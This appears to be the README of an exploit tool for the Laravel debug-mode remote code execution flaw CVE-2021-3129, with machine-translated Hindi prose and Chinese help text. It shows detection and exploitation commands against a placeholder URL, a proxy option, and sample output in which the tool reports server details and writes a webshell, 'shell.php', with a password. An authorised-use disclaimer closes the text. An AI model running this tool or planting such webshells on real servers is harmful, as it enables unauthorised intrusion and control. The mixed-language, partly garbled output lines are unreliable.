Laravel डिबग मोड RCE भेद्यता (CVE-2021-3129) poc / exp

CVE-2021-3129 exp / poc

ध्यान⚠️: क्योंकि इस भेद्यता का शोषण और पहचान कई अनुरोध भेजता है, इससे शोषण और पहचान प्रक्रिया धीमी हो सकती है।
उपयोग:

python CVE-2021-3129.py
usage: python CVE-2021-3129.py -u [url] --exp

Laravel Debug mode RCE（CVE-2021-3129）POC & EXP

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     指定目标url地址
  -e, --exp             利用漏洞写入webshell，如不指定，则仅进行漏洞检测
  -p PROXY, --proxy PROXY
                        设置代理，如socks5://127.0.0.1:7890

उदाहरण:

# poc
python CVE-2021-3129.py -u http://xxxxx.com 
[✅]检测到漏洞！[🚩]url: http://xxxxx.com [❇️info]PHP版本:7.4.14 网站路径:/var/www/html 服务器地址:172.17.0.2 系统版本:Linux 8e172820ac78 4.4.0-142-generic #168~14.04.1-Ubunt6:28 UTC 2019 x86_64

# exp
python CVE-2021-3129.py -u http://xxxxx.com --exp                     
[✅]检测到漏洞！[🚩]url: http://xxxxx.com [❇️info]PHP版本:7.4.14 网站路径:/var/www/html 服务器地址:172.17.0.2 系统版本:Linux 8e172820ac78 4.4.0-142-generic #168~14.04.1-Ubunt6:28 UTC 2019 x86_64 
[OK] 成功写入webshell, 访问地址 http://xxxxx.com/shell.php , 密码 whoami

# proxy
python CVE-2021-3129.py -u http://xxxxx.com/ -p socks5://127.0.0.1:7890
python CVE-2021-3129.py -u http://xxxxx.com/ --exp -p socks5://127.0.0.1:7890

संदर्भ लिंक
उपयोग नोटिस
- यह उपकरण केवल कानूनी रूप से अधिकृत उद्यम सुरक्षा निर्माण गतिविधियों के लिए है। इस उपकरण का उपयोग करते समय, आपको यह सुनिश्चित करना होगा कि यह गतिविधि स्थानीय कानूनों और विनियमों का अनुपालन करती है और आपके पास पर्याप्त प्राधिकरण है।
- यदि आप इस उपकरण का उपयोग करते समय किसी भी अवैध गतिविधि में शामिल होते हैं, तो आपको स्वयं परिणाम भुगतने होंगे।

CVE-2021-3129-exp

सबसे लोकप्रिय